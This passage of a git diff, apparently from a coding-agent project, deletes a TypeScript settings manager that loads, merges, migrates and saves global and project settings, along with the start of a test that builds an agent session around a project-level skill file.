respectGitignoreInPicker?: boolean; // When false, @ file picker shows gitignored files (default: true) - searchExcludeDirs?: string[]; // Directories to exclude from @ file search (e.g., ["node_modules", ".git", "dist"]) - showHardwareCursor?: boolean; // Show terminal cursor while still positioning it for IME - markdown?: MarkdownSettings; - memory?: MemorySettings; - async?: AsyncSettings; - bashInterceptor?: BashInterceptorSettings; - taskIsolation?: TaskIsolationSettings; - fallback?: FallbackSettings; - modelDiscovery?: ModelDiscoverySettings; - editMode?: "standard" | "hashline"; // Edit tool mode: "standard" (text match) or "hashline" (LINE#ID anchors). Default: "standard" - timestampFormat?: "date-time-iso" | "date-time-us"; // Timestamp display format for messages. Default: "date-time-iso" - allowedCommandPrefixes?: string[]; // Override built-in SAFE_COMMAND_PREFIXES for !command resolution (global-only — ignored in project settings) - fetchAllowedUrls?: string[]; // Hostnames exempted from SSRF blocklist in fetch_page (global-only — ignored in project settings) - proxy?: ProxySettings; - disabledProviders?: string[]; // Provider IDs hidden from normal model availability and selection - disabledModels?: string[]; // provider/model IDs hidden from normal model availability and selection - providerEnvAuth?: ProviderEnvAuthSettings; // Per-provider policy for environment-based auth detection -} - -/** Settings keys that are only respected from global config — project settings cannot override these. */ -const GLOBAL_ONLY_KEYS: ReadonlySet = new Set([ - "allowedCommandPrefixes", - "fetchAllowedUrls", -]); - -/** Remove global-only keys from a settings object. Applied once at load time. */ -function stripGlobalOnlyKeys(settings: Settings): Settings { - const result = { ...settings }; - for (const key of GLOBAL_ONLY_KEYS) { - delete (result as Record)[key]; - } - return result; -} - -/** Deep merge settings: project/overrides take precedence, nested objects merge recursively */ -function deepMergeSettings(base: Settings, overrides: Settings): Settings { - const result: Settings = { ...base }; - - for (const key of Object.keys(overrides) as (keyof Settings)[]) { - const overrideValue = overrides[key]; - const baseValue = base[key]; - - if (overrideValue === undefined) { - continue; - } - - // For nested objects, merge recursively - if ( - typeof overrideValue === "object" && - overrideValue !== null && - !Array.isArray(overrideValue) && - typeof baseValue === "object" && - baseValue !== null && - !Array.isArray(baseValue) - ) { - (result as Record)[key] = { - ...baseValue, - ...overrideValue, - }; - } else { - // For primitives and arrays, override value wins - (result as Record)[key] = overrideValue; - } - } - - return result; -} - -export type SettingsScope = "global" | "project"; - -export interface SettingsStorage { - withLock( - scope: SettingsScope, - fn: (current: string | undefined) => string | undefined, - ): void; -} - -export interface SettingsError { - scope: SettingsScope; - error: Error; -} - -class FileSettingsStorage implements SettingsStorage { - private globalSettingsPath: string; - private projectSettingsPath: string; - - constructor(cwd: string = process.cwd(), agentDir: string = getAgentDir()) { - this.globalSettingsPath = join(agentDir, "settings.json"); - this.projectSettingsPath = join(cwd, CONFIG_DIR_NAME, "settings.json"); - } - - private acquireLockSyncWithRetry(path: string): () => void { - const maxAttempts = 10; - const delayMs = 20; - let lastError: unknown; - - for (let attempt = 1; attempt <= maxAttempts; attempt++) { - try { - return lockfile.lockSync(path, { realpath: false }); - } catch (error) { - const code = - typeof error === "object" && error !== null && "code" in error - ? String((error as { code?: unknown }).code) - : undefined; - if (code !== "ELOCKED" || attempt === maxAttempts) { - throw error; - } - lastError = error; - const start = Date.now(); - while (Date.now() - start < delayMs) { - // Sleep synchronously to avoid changing callers to async. - } - } - } - - throw (lastError as Error) ?? new Error("Failed to acquire settings lock"); - } - - withLock( - scope: SettingsScope, - fn: (current: string | undefined) => string | undefined, - ): void { - const path = - scope === "global" ? this.globalSettingsPath : this.projectSettingsPath; - const dir = dirname(path); - - let release: (() => void) | undefined; - try { - // Only create directory and lock if file exists or we need to write - const fileExists = existsSync(path); - if (fileExists) { - release = this.acquireLockSyncWithRetry(path); - } - const current = fileExists ? readFileSync(path, "utf-8") : undefined; - const next = fn(current); - if (next !== undefined) { - // Only create directory when we actually need to write - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - if (!release) { - release = this.acquireLockSyncWithRetry(path); - } - writeFileSync(path, next, "utf-8"); - } - } finally { - if (release) { - release(); - } - } - } -} - -class InMemorySettingsStorage implements SettingsStorage { - private global: string | undefined; - private project: string | undefined; - - withLock( - scope: SettingsScope, - fn: (current: string | undefined) => string | undefined, - ): void { - const current = scope === "global" ? this.global : this.project; - const next = fn(current); - if (next !== undefined) { - if (scope === "global") { - this.global = next; - } else { - this.project = next; - } - } - } -} - -export class SettingsManager { - private storage: SettingsStorage; - private globalSettings: Settings; - private projectSettings: Settings; - private settings: Settings; - private modifiedFields = new Set(); // Track global fields modified during session - private modifiedNestedFields = new Map>(); // Track global nested field modifications - private modifiedProjectFields = new Set(); // Track project fields modified during session - private modifiedProjectNestedFields = new Map>(); // Track project nested field modifications - private globalSettingsLoadError: Error | null = null; // Track if global settings file had parse errors - private projectSettingsLoadError: Error | null = null; // Track if project settings file had parse errors - private writeQueue: Promise = Promise.resolve(); - private errors: SettingsError[]; - - private constructor( - storage: SettingsStorage, - initialGlobal: Settings, - initialProject: Settings, - globalLoadError: Error | null = null, - projectLoadError: Error | null = null, - initialErrors: SettingsError[] = [], - ) { - this.storage = storage; - this.globalSettings = initialGlobal; - this.projectSettings = stripGlobalOnlyKeys(initialProject); - this.globalSettingsLoadError = globalLoadError; - this.projectSettingsLoadError = projectLoadError; - this.errors = [...initialErrors]; - this.settings = deepMergeSettings( - this.globalSettings, - this.projectSettings, - ); - } - - /** Create a SettingsManager that loads from files */ - static create( - cwd: string = process.cwd(), - agentDir: string = getAgentDir(), - ): SettingsManager { - const storage = new FileSettingsStorage(cwd, agentDir); - return SettingsManager.fromStorage(storage); - } - - /** Create a SettingsManager from an arbitrary storage backend */ - static fromStorage(storage: SettingsStorage): SettingsManager { - const globalLoad = SettingsManager.tryLoadFromStorage(storage, "global"); - const projectLoad = SettingsManager.tryLoadFromStorage(storage, "project"); - const initialErrors: SettingsError[] = []; - if (globalLoad.error) { - initialErrors.push({ scope: "global", error: globalLoad.error }); - } - if (projectLoad.error) { - initialErrors.push({ scope: "project", error: projectLoad.error }); - } - - return new SettingsManager( - storage, - globalLoad.settings, - projectLoad.settings, - globalLoad.error, - projectLoad.error, - initialErrors, - ); - } - - /** Create an in-memory SettingsManager (no file I/O) */ - static inMemory(settings: Partial = {}): SettingsManager { - const storage = new InMemorySettingsStorage(); - return new SettingsManager(storage, settings, {}); - } - - private static loadFromStorage( - storage: SettingsStorage, - scope: SettingsScope, - ): Settings { - let content: string | undefined; - storage.withLock(scope, (current) => { - content = current; - return undefined; - }); - - if (!content) { - return {}; - } - const settings = JSON.parse(content); - return SettingsManager.migrateSettings(settings); - } - - private static tryLoadFromStorage( - storage: SettingsStorage, - scope: SettingsScope, - ): { settings: Settings; error: Error | null } { - try { - return { - settings: SettingsManager.loadFromStorage(storage, scope), - error: null, - }; - } catch (error) { - return { settings: {}, error: error as Error }; - } - } - - /** Migrate old settings format to new format */ - private static migrateSettings(settings: Record): Settings { - // Migrate queueMode -> steeringMode - if ("queueMode" in settings && !("steeringMode" in settings)) { - settings.steeringMode = settings.queueMode; - delete settings.queueMode; - } - - // Migrate legacy websockets boolean -> transport enum - if ( - !("transport" in settings) && - typeof settings.websockets === "boolean" - ) { - settings.transport = settings.websockets ? "websocket" : "sse"; - delete settings.websockets; - } - - // Migrate old skills object format to new array format - if ( - "skills" in settings && - typeof settings.skills === "object" && - settings.skills !== null && - !Array.isArray(settings.skills) - ) { - const skillsSettings = settings.skills as { - enableSkillCommands?: boolean; - customDirectories?: unknown; - }; - if ( - skillsSettings.enableSkillCommands !== undefined && - settings.enableSkillCommands === undefined - ) { - settings.enableSkillCommands = skillsSettings.enableSkillCommands; - } - if ( - Array.isArray(skillsSettings.customDirectories) && - skillsSettings.customDirectories.length > 0 - ) { - settings.skills = skillsSettings.customDirectories; - } else { - delete settings.skills; - } - } - - return settings as Settings; - } - - getGlobalSettings(): Settings { - return structuredClone(this.globalSettings); - } - - getProjectSettings(): Settings { - return structuredClone(this.projectSettings); - } - - getBashInterceptorEnabled(): boolean { - return this.settings.bashInterceptor?.enabled ?? true; - } - - getBashInterceptorRules(): BashInterceptorRule[] | undefined { - return this.settings.bashInterceptor?.rules; - } - - reload(): void { - const globalLoad = SettingsManager.tryLoadFromStorage( - this.storage, - "global", - ); - if (!globalLoad.error) { - this.globalSettings = globalLoad.settings; - this.globalSettingsLoadError = null; - } else { - this.globalSettingsLoadError = globalLoad.error; - this.recordError("global", globalLoad.error); - } - - this.modifiedFields.clear(); - this.modifiedNestedFields.clear(); - this.modifiedProjectFields.clear(); - this.modifiedProjectNestedFields.clear(); - - const projectLoad = SettingsManager.tryLoadFromStorage( - this.storage, - "project", - ); - if (!projectLoad.error) { - this.projectSettings = stripGlobalOnlyKeys(projectLoad.settings); - this.projectSettingsLoadError = null; - } else { - this.projectSettingsLoadError = projectLoad.error; - this.recordError("project", projectLoad.error); - } - - this.settings = deepMergeSettings( - this.globalSettings, - this.projectSettings, - ); - } - - /** Apply additional overrides on top of current settings */ - applyOverrides(overrides: Partial): void { - this.settings = deepMergeSettings(this.settings, overrides); - } - - /** Mark a global field as modified during this session */ - private markModified(field: keyof Settings, nestedKey?: string): void { - this.modifiedFields.add(field); - if (nestedKey) { - if (!this.modifiedNestedFields.has(field)) { - this.modifiedNestedFields.set(field, new Set()); - } - this.modifiedNestedFields.get(field)!.add(nestedKey); - } - } - - /** Mark a project field as modified during this session */ - private markProjectModified(field: keyof Settings, nestedKey?: string): void { - this.modifiedProjectFields.add(field); - if (nestedKey) { - if (!this.modifiedProjectNestedFields.has(field)) { - this.modifiedProjectNestedFields.set(field, new Set()); - } - this.modifiedProjectNestedFields.get(field)!.add(nestedKey); - } - } - - private recordError(scope: SettingsScope, error: unknown): void { - const normalizedError = - error instanceof Error ? error : new Error(String(error)); - this.errors.push({ scope, error: normalizedError }); - } - - /** - * Check if project-level settings are active (loaded from a file). - * Used to scope model persistence to the project when possible, - * preventing model config bleed between concurrent instances (#650). - */ - private hasProjectSettings(): boolean { - // Project settings are active if we loaded them and they weren't empty/errored - return ( - !this.projectSettingsLoadError && - Object.keys(this.projectSettings).length > 0 - ); - } - - private clearModifiedScope(scope: SettingsScope): void { - if (scope === "global") { - this.modifiedFields.clear(); - this.modifiedNestedFields.clear(); - return; - } - - this.modifiedProjectFields.clear(); - this.modifiedProjectNestedFields.clear(); - } - - private enqueueWrite(scope: SettingsScope, task: () => void): void { - this.writeQueue = this.writeQueue - .then(() => { - task(); - this.clearModifiedScope(scope); - }) - .catch((error) => { - this.recordError(scope, error); - }); - } - - private cloneModifiedNestedFields( - source: Map>, - ): Map> { - const snapshot = new Map>(); - for (const [key, value] of source.entries()) { - snapshot.set(key, new Set(value)); - } - return snapshot; - } - - private persistScopedSettings( - scope: SettingsScope, - snapshotSettings: Settings, - modifiedFields: Set, - modifiedNestedFields: Map>, - ): void { - this.storage.withLock(scope, (current) => { - const currentFileSettings = current - ? SettingsManager.migrateSettings( - JSON.parse(current) as Record, - ) - : {}; - const mergedSettings: Settings = { ...currentFileSettings }; - for (const field of modifiedFields) { - const value = snapshotSettings[field]; - if ( - modifiedNestedFields.has(field) && - typeof value === "object" && - value !== null - ) { - const nestedModified = modifiedNestedFields.get(field)!; - const baseNested = - (currentFileSettings[field] as Record) ?? {}; - const inMemoryNested = value as Record; - const mergedNested = { ...baseNested }; - for (const nestedKey of nestedModified) { - mergedNested[nestedKey] = inMemoryNested[nestedKey]; - } - (mergedSettings as Record)[field] = mergedNested; - } else { - (mergedSettings as Record)[field] = value; - } - } - - return JSON.stringify(mergedSettings, null, 2); - }); - } - - private save(): void { - this.settings = deepMergeSettings( - this.globalSettings, - this.projectSettings, - ); - - if (this.globalSettingsLoadError) { - return; - } - - const snapshotGlobalSettings = structuredClone(this.globalSettings); - const modifiedFields = new Set(this.modifiedFields); - const modifiedNestedFields = this.cloneModifiedNestedFields( - this.modifiedNestedFields, - ); - - this.enqueueWrite("global", () => { - this.persistScopedSettings( - "global", - snapshotGlobalSettings, - modifiedFields, - modifiedNestedFields, - ); - }); - } - - private saveProjectSettings(settings: Settings): void { - this.projectSettings = stripGlobalOnlyKeys(structuredClone(settings)); - this.settings = deepMergeSettings( - this.globalSettings, - this.projectSettings, - ); - - if (this.projectSettingsLoadError) { - return; - } - - const snapshotProjectSettings = structuredClone(this.projectSettings); - const modifiedFields = new Set(this.modifiedProjectFields); - const modifiedNestedFields = this.cloneModifiedNestedFields( - this.modifiedProjectNestedFields, - ); - this.enqueueWrite("project", () => { - this.persistScopedSettings( - "project", - snapshotProjectSettings, - modifiedFields, - modifiedNestedFields, - ); - }); - } - - async flush(): Promise { - await this.writeQueue; - } - - drainErrors(): SettingsError[] { - const drained = [...this.errors]; - this.errors = []; - return drained; - } - - // ── Generic setter helpers ────────────────────────────────────────── - - /** Set a top-level global setting field, mark modified, and save. */ - private setGlobalSetting( - key: K, - value: Settings[K], - ): void { - this.globalSettings[key] = value; - this.markModified(key); - this.save(); - } - - /** Set a top-level setting, scoped to project when project settings are active. */ - private setScopedSetting( - key: K, - value: Settings[K], - ): void { - if (this.hasProjectSettings()) { - this.projectSettings[key] = value; - this.markProjectModified(key); - this.saveProjectSettings(this.projectSettings); - } else { - this.setGlobalSetting(key, value); - } - } - - /** Set a nested field within a global settings object (e.g. compaction.enabled). */ - private setNestedGlobalSetting< - K extends keyof Settings, - NK extends string & keyof NonNullable, - >(key: K, nestedKey: NK, value: NonNullable[NK]): void { - if (!this.globalSettings[key]) { - (this.globalSettings as Record)[key] = {}; - } - (this.globalSettings[key] as Record)[nestedKey] = value; - this.markModified(key, nestedKey); - this.save(); - } - - /** Set a field on project settings (clone, set, mark modified, save). */ - private setProjectSetting( - key: K, - value: Settings[K], - ): void { - const projectSettings = structuredClone(this.projectSettings); - projectSettings[key] = value; - this.markProjectModified(key); - this.saveProjectSettings(projectSettings); - } - - // ── Public getters and setters ────────────────────────────────────── - - getLastChangelogVersion(): string | undefined { - return this.settings.lastChangelogVersion; - } - - setLastChangelogVersion(version: string): void { - this.setGlobalSetting("lastChangelogVersion", version); - } - - getDefaultProvider(): string | undefined { - return this.settings.defaultProvider; - } - - getDefaultModel(): string | undefined { - return this.settings.defaultModel; - } - - setDefaultProvider(provider: string): void { - this.setScopedSetting("defaultProvider", provider); - } - - setDefaultModel(modelId: string): void { - this.setScopedSetting("defaultModel", modelId); - } - - setDefaultModelAndProvider(provider: string, modelId: string): void { - if (this.hasProjectSettings()) { - this.projectSettings.defaultProvider = provider; - this.projectSettings.defaultModel = modelId; - this.markProjectModified("defaultProvider"); - this.markProjectModified("defaultModel"); - this.saveProjectSettings(this.projectSettings); - } else { - this.globalSettings.defaultProvider = provider; - this.globalSettings.defaultModel = modelId; - this.markModified("defaultProvider"); - this.markModified("defaultModel"); - this.save(); - } - } - - getSteeringMode(): "all" | "one-at-a-time" { - return this.settings.steeringMode || "one-at-a-time"; - } - - setSteeringMode(mode: "all" | "one-at-a-time"): void { - this.setGlobalSetting("steeringMode", mode); - } - - getFollowUpMode(): "all" | "one-at-a-time" { - return this.settings.followUpMode || "one-at-a-time"; - } - - setFollowUpMode(mode: "all" | "one-at-a-time"): void { - this.setGlobalSetting("followUpMode", mode); - } - - getTheme(): string | undefined { - return this.settings.theme; - } - - setTheme(theme: string): void { - this.setGlobalSetting("theme", theme); - } - - getDefaultThinkingLevel(): - | "off" - | "minimal" - | "low" - | "medium" - | "high" - | "xhigh" - | undefined { - return this.settings.defaultThinkingLevel; - } - - setDefaultThinkingLevel( - level: "off" | "minimal" | "low" | "medium" | "high" | "xhigh", - ): void { - this.setGlobalSetting("defaultThinkingLevel", level); - } - - getTransport(): TransportSetting { - return this.settings.transport ?? "sse"; - } - - setTransport(transport: TransportSetting): void { - this.setGlobalSetting("transport", transport); - } - - getCompactionEnabled(): boolean { - return this.settings.compaction?.enabled ?? true; - } - - setCompactionEnabled(enabled: boolean): void { - this.setNestedGlobalSetting("compaction", "enabled", enabled); - } - - getCompactionReserveTokens(): number { - return this.settings.compaction?.reserveTokens ?? COMPACTION_RESERVE_TOKENS; - } - - getCompactionKeepRecentTokens(): number { - return ( - this.settings.compaction?.keepRecentTokens ?? - COMPACTION_KEEP_RECENT_TOKENS - ); - } - - getCompactionSettings(): { - enabled: boolean; - reserveTokens: number; - keepRecentTokens: number; - } { - return { - enabled: this.getCompactionEnabled(), - reserveTokens: this.getCompactionReserveTokens(), - keepRecentTokens: this.getCompactionKeepRecentTokens(), - }; - } - - getBranchSummarySettings(): { reserveTokens: number; skipPrompt: boolean } { - return { - reserveTokens: - this.settings.branchSummary?.reserveTokens ?? COMPACTION_RESERVE_TOKENS, - skipPrompt: this.settings.branchSummary?.skipPrompt ?? false, - }; - } - - getBranchSummarySkipPrompt(): boolean { - return this.settings.branchSummary?.skipPrompt ?? false; - } - - getRetryEnabled(): boolean { - return this.settings.retry?.enabled ?? true; - } - - setRetryEnabled(enabled: boolean): void { - this.setNestedGlobalSetting("retry", "enabled", enabled); - } - - getRetrySettings(): { - enabled: boolean; - maxRetries: number; - baseDelayMs: number; - maxDelayMs: number; - } { - return { - enabled: this.getRetryEnabled(), - maxRetries: this.settings.retry?.maxRetries ?? 3, - baseDelayMs: this.settings.retry?.baseDelayMs ?? RETRY_BASE_DELAY_MS, - maxDelayMs: this.settings.retry?.maxDelayMs ?? RETRY_MAX_DELAY_MS, - }; - } - - getHideThinkingBlock(): boolean { - return this.settings.hideThinkingBlock ?? false; - } - - setHideThinkingBlock(hide: boolean): void { - this.setGlobalSetting("hideThinkingBlock", hide); - } - - getShellPath(): string | undefined { - return this.settings.shellPath; - } - - setShellPath(path: string | undefined): void { - this.setGlobalSetting("shellPath", path); - } - - getQuietStartup(): boolean { - return this.settings.quietStartup ?? false; - } - - setQuietStartup(quiet: boolean): void { - this.setGlobalSetting("quietStartup", quiet); - } - - getDisabledProviders(): string[] { - return [...(this.settings.disabledProviders ?? [])]; - } - - isProviderDisabled(provider: string): boolean { - return this.getDisabledProviders().includes(provider); - } - - setDisabledProviders(providers: string[]): void { - this.setScopedSetting("disabledProviders", [...new Set(providers)].sort()); - } - - toggleProviderDisabled(provider: string): boolean { - const next = new Set(this.getDisabledProviders()); - if (next.has(provider)) { - next.delete(provider); - this.setDisabledProviders([...next]); - return false; - } - next.add(provider); - this.setDisabledProviders([...next]); - return true; - } - - getDisabledModels(): string[] { - return [...(this.settings.disabledModels ?? [])]; - } - - isModelDisabled(provider: string, modelId: string): boolean { - return this.getDisabledModels().includes(`${provider}/${modelId}`); - } - - setDisabledModels(models: string[]): void { - this.setScopedSetting("disabledModels", [...new Set(models)].sort()); - } - - toggleModelDisabled(provider: string, modelId: string): boolean { - const modelKey = `${provider}/${modelId}`; - const next = new Set(this.getDisabledModels()); - if (next.has(modelKey)) { - next.delete(modelKey); - this.setDisabledModels([...next]); - return false; - } - next.add(modelKey); - this.setDisabledModels([...next]); - return true; - } - - getProviderEnvAuthMode(provider: string): ProviderEnvAuthMode { - return ( - this.settings.providerEnvAuth?.providers?.[provider] ?? - this.settings.providerEnvAuth?.default ?? - (provider === "google" || provider === "google-gemini-cli" - ? "off" - : "auto") - ); - } - - setProviderEnvAuthMode(provider: string, mode: ProviderEnvAuthMode): void { - const current = structuredClone(this.settings.providerEnvAuth ?? {}); - current.providers = { ...(current.providers ?? {}), [provider]: mode }; - this.setScopedSetting("providerEnvAuth", current); - } - - getShellCommandPrefix(): string | undefined { - return this.settings.shellCommandPrefix; - } - - setShellCommandPrefix(prefix: string | undefined): void { - this.setGlobalSetting("shellCommandPrefix", prefix); - } - - getCollapseChangelog(): boolean { - return this.settings.collapseChangelog ?? false; - } - - setCollapseChangelog(collapse: boolean): void { - this.setGlobalSetting("collapseChangelog", collapse); - } - - getPackages(): PackageSource[] { - return [...(this.settings.packages ?? [])]; - } - - setPackages(packages: PackageSource[]): void { - this.setGlobalSetting("packages", packages); - } - - setProjectPackages(packages: PackageSource[]): void { - this.setProjectSetting("packages", packages); - } - - getExtensionPaths(): string[] { - return [...(this.settings.extensions ?? [])]; - } - - setExtensionPaths(paths: string[]): void { - this.setGlobalSetting("extensions", paths); - } - - setProjectExtensionPaths(paths: string[]): void { - this.setProjectSetting("extensions", paths); - } - - getSkillPaths(): string[] { - return [...(this.settings.skills ?? [])]; - } - - setSkillPaths(paths: string[]): void { - this.setGlobalSetting("skills", paths); - } - - setProjectSkillPaths(paths: string[]): void { - this.setProjectSetting("skills", paths); - } - - getPromptTemplatePaths(): string[] { - return [...(this.settings.prompts ?? [])]; - } - - setPromptTemplatePaths(paths: string[]): void { - this.setGlobalSetting("prompts", paths); - } - - setProjectPromptTemplatePaths(paths: string[]): void { - this.setProjectSetting("prompts", paths); - } - - getThemePaths(): string[] { - return [...(this.settings.themes ?? [])]; - } - - setThemePaths(paths: string[]): void { - this.setGlobalSetting("themes", paths); - } - - setProjectThemePaths(paths: string[]): void { - this.setProjectSetting("themes", paths); - } - - getEnableSkillCommands(): boolean { - return this.settings.enableSkillCommands ?? true; - } - - setEnableSkillCommands(enabled: boolean): void { - this.setGlobalSetting("enableSkillCommands", enabled); - } - - getThinkingBudgets(): ThinkingBudgetsSettings | undefined { - return this.settings.thinkingBudgets; - } - - getShowImages(): boolean { - return this.settings.terminal?.showImages ?? true; - } - - setShowImages(show: boolean): void { - this.setNestedGlobalSetting("terminal", "showImages", show); - } - - getClearOnShrink(): boolean { - // Settings takes precedence, then env var, then default false - if (this.settings.terminal?.clearOnShrink !== undefined) { - return this.settings.terminal.clearOnShrink; - } - return process.env.PI_CLEAR_ON_SHRINK === "1"; - } - - setClearOnShrink(enabled: boolean): void { - this.setNestedGlobalSetting("terminal", "clearOnShrink", enabled); - } - - getImageAutoResize(): boolean { - return this.settings.images?.autoResize ?? true; - } - - setImageAutoResize(enabled: boolean): void { - this.setNestedGlobalSetting("images", "autoResize", enabled); - } - - getBlockImages(): boolean { - return this.settings.images?.blockImages ?? false; - } - - setBlockImages(blocked: boolean): void { - this.setNestedGlobalSetting("images", "blockImages", blocked); - } - - getEnabledModels(): string[] | undefined { - return this.settings.enabledModels; - } - - setEnabledModels(patterns: string[] | undefined): void { - this.setGlobalSetting("enabledModels", patterns); - } - - getDoubleEscapeAction(): "fork" | "tree" | "none" { - return this.settings.doubleEscapeAction ?? "tree"; - } - - setDoubleEscapeAction(action: "fork" | "tree" | "none"): void { - this.setGlobalSetting("doubleEscapeAction", action); - } - - getTreeFilterMode(): - | "default" - | "no-tools" - | "user-only" - | "labeled-only" - | "all" { - const mode = this.settings.treeFilterMode; - const valid = ["default", "no-tools", "user-only", "labeled-only", "all"]; - return mode && valid.includes(mode) ? mode : "default"; - } - - setTreeFilterMode( - mode: "default" | "no-tools" | "user-only" | "labeled-only" | "all", - ): void { - this.setGlobalSetting("treeFilterMode", mode); - } - - getShowHardwareCursor(): boolean { - return ( - this.settings.showHardwareCursor ?? process.env.PI_HARDWARE_CURSOR === "1" - ); - } - - setShowHardwareCursor(enabled: boolean): void { - this.setGlobalSetting("showHardwareCursor", enabled); - } - - getEditorPaddingX(): number { - return this.settings.editorPaddingX ?? 0; - } - - setEditorPaddingX(padding: number): void { - this.setGlobalSetting( - "editorPaddingX", - Math.max(0, Math.min(3, Math.floor(padding))), - ); - } - - getAutocompleteMaxVisible(): number { - return this.settings.autocompleteMaxVisible ?? 5; - } - - setAutocompleteMaxVisible(maxVisible: number): void { - this.setGlobalSetting( - "autocompleteMaxVisible", - Math.max(3, Math.min(20, Math.floor(maxVisible))), - ); - } - - getRespectGitignoreInPicker(): boolean { - return this.settings.respectGitignoreInPicker ?? true; - } - - setRespectGitignoreInPicker(value: boolean): void { - this.setGlobalSetting("respectGitignoreInPicker", value); - } - - getSearchExcludeDirs(): string[] { - return this.settings.searchExcludeDirs ?? []; - } - - setSearchExcludeDirs(dirs: string[]): void { - this.setGlobalSetting("searchExcludeDirs", dirs.filter(Boolean)); - } - - getCodeBlockIndent(): string { - return this.settings.markdown?.codeBlockIndent ?? " "; - } - - getMemorySettings(): { - enabled: boolean; - maxRolloutsPerStartup: number; - maxRolloutAgeDays: number; - minRolloutIdleHours: number; - stage1Concurrency: number; - summaryInjectionTokenLimit: number; - } { - return { - enabled: this.settings.memory?.enabled ?? false, - maxRolloutsPerStartup: this.settings.memory?.maxRolloutsPerStartup ?? 64, - maxRolloutAgeDays: this.settings.memory?.maxRolloutAgeDays ?? 30, - minRolloutIdleHours: this.settings.memory?.minRolloutIdleHours ?? 12, - stage1Concurrency: this.settings.memory?.stage1Concurrency ?? 8, - summaryInjectionTokenLimit: - this.settings.memory?.summaryInjectionTokenLimit ?? 5000, - }; - } - - getAsyncEnabled(): boolean { - return this.settings.async?.enabled ?? false; - } - - getAsyncMaxJobs(): number { - return this.settings.async?.maxJobs ?? 100; - } - - getTaskIsolationMode(): "none" | "worktree" | "fuse-overlay" { - return this.settings.taskIsolation?.mode ?? "none"; - } - - getTaskIsolationMerge(): "patch" | "branch" { - return this.settings.taskIsolation?.merge ?? "patch"; - } - - getFallbackEnabled(): boolean { - return this.settings.fallback?.enabled ?? false; - } - - setFallbackEnabled(enabled: boolean): void { - this.setNestedGlobalSetting("fallback", "enabled", enabled); - } - - getFallbackChains(): Record { - return this.settings.fallback?.chains ?? {}; - } - - getFallbackChain(name: string): FallbackChainEntry[] | undefined { - return this.settings.fallback?.chains?.[name]; - } - - setFallbackChain(name: string, entries: FallbackChainEntry[]): void { - if (!this.globalSettings.fallback) { - this.globalSettings.fallback = {}; - } - if (!this.globalSettings.fallback.chains) { - this.globalSettings.fallback.chains = {}; - } - // Sort by priority - this.globalSettings.fallback.chains[name] = [...entries].sort( - (a, b) => a.priority - b.priority, - ); - this.markModified("fallback"); - this.save(); - } - - removeFallbackChain(name: string): boolean { - if (!this.globalSettings.fallback?.chains?.[name]) { - return false; - } - delete this.globalSettings.fallback.chains[name]; - if (Object.keys(this.globalSettings.fallback.chains).length === 0) { - delete this.globalSettings.fallback.chains; - } - this.markModified("fallback"); - this.save(); - return true; - } - - getFallbackSettings(): { - enabled: boolean; - chains: Record; - } { - return { - enabled: this.getFallbackEnabled(), - chains: this.getFallbackChains(), - }; - } - - getModelDiscoverySettings(): ModelDiscoverySettings { - return this.settings.modelDiscovery ?? {}; - } - - setModelDiscoveryEnabled(enabled: boolean): void { - this.setNestedGlobalSetting("modelDiscovery", "enabled", enabled); - } - - getEditMode(): "standard" | "hashline" { - return this.settings.editMode ?? "standard"; - } - - setEditMode(mode: "standard" | "hashline"): void { - this.setGlobalSetting("editMode", mode); - } - - getTimestampFormat(): "date-time-iso" | "date-time-us" { - return this.settings.timestampFormat ?? "date-time-iso"; - } - - setTimestampFormat(format: "date-time-iso" | "date-time-us"): void { - this.setGlobalSetting("timestampFormat", format); - } - - getProxyProviderPriority(): Record { - return this.settings.proxy?.providerPriority ?? {}; - } - - setProxyFamilyProvider( - familyPrefix: string, - orderedProviders: string[], - ): void { - const current = this.settings.proxy?.providerPriority ?? {}; - this.setGlobalSetting("proxy", { - ...this.settings.proxy, - providerPriority: { ...current, [familyPrefix]: orderedProviders }, - }); - } - - /** - * Get the allowed command prefixes from global settings only. - * Returns undefined if not configured (caller should use built-in defaults). - */ - getAllowedCommandPrefixes(): string[] | undefined { - return this.globalSettings.allowedCommandPrefixes; - } - - setAllowedCommandPrefixes(prefixes: string[]): void { - this.setGlobalSetting("allowedCommandPrefixes", prefixes); - } - - /** - * Get the fetch URL allowlist from global settings only. - * Returns undefined if not configured (caller should use empty allowlist). - */ - getFetchAllowedUrls(): string[] | undefined { - return this.globalSettings.fetchAllowedUrls; - } - - setFetchAllowedUrls(urls: string[]): void { - this.setGlobalSetting("fetchAllowedUrls", urls); - } -} diff --git a/packages/pi-coding-agent/src/core/skill-tool.test.ts b/packages/pi-coding-agent/src/core/skill-tool.test.ts deleted file mode 100644 index b89716122..000000000 --- a/packages/pi-coding-agent/src/core/skill-tool.test.ts +++ /dev/null @@ -1,107 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { Agent } from "@singularity-forge/pi-agent-core"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { AgentSession } from "./agent-session.js"; -import { AuthStorage } from "./auth-storage.js"; -import { ModelRegistry } from "./model-registry.js"; -import { DefaultResourceLoader } from "./resource-loader.js"; -import { SessionManager } from "./session-manager.js"; -import { SettingsManager } from "./settings-manager.js"; - -let testDir: string; - -function writeSkill( - cwd: string, - name: string, - description: string, - body = `# ${name}\n`, -): string { - const skillDir = join(cwd, ".pi", "skills", name); - mkdirSync(skillDir, { recursive: true }); - const skillPath = join(skillDir, "SKILL.md"); - writeFileSync( - skillPath, - `---\nname: ${name}\ndescription: ${description}\n---\n\n${body}`, - ); - return skillPath; -} - -describe("Skill tool", () => { - beforeEach(() => { - testDir = mkdtempSync(join(tmpdir(), "skill-tool-test-")); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - async function createSession() { - const agentDir = join(testDir, "agent-home"); - const authStorage = AuthStorage.inMemory({}); - const modelRegistry = new ModelRegistry( - authStorage, - join(agentDir, "models.json"), - ); - const settingsManager = SettingsManager.inMemory(); - const resourceLoader = new DefaultResourceLoader({ - cwd: testDir, - agentDir, - settingsManager, - noExtensions: true, - noPromptTemplates: true, - noThemes: true, - }); - await resourceLoader.reload(); - - return new AgentSession({ - agent: new Agent(), - sessionManager: SessionManager.inMemory(testDir), - settingsManager, - cwd: testDir, - resourceLoader, - modelRegistry, - }); - } - - it("resolves a project-level skill to the exact skill block format", async () => { - const skillPath = writeSkill( - testDir, - "swift-testing", - "Use for Swift Testing assertions and verification patterns.", - "# Swift Testing\nUse this skill.\n", - ); - const session = await 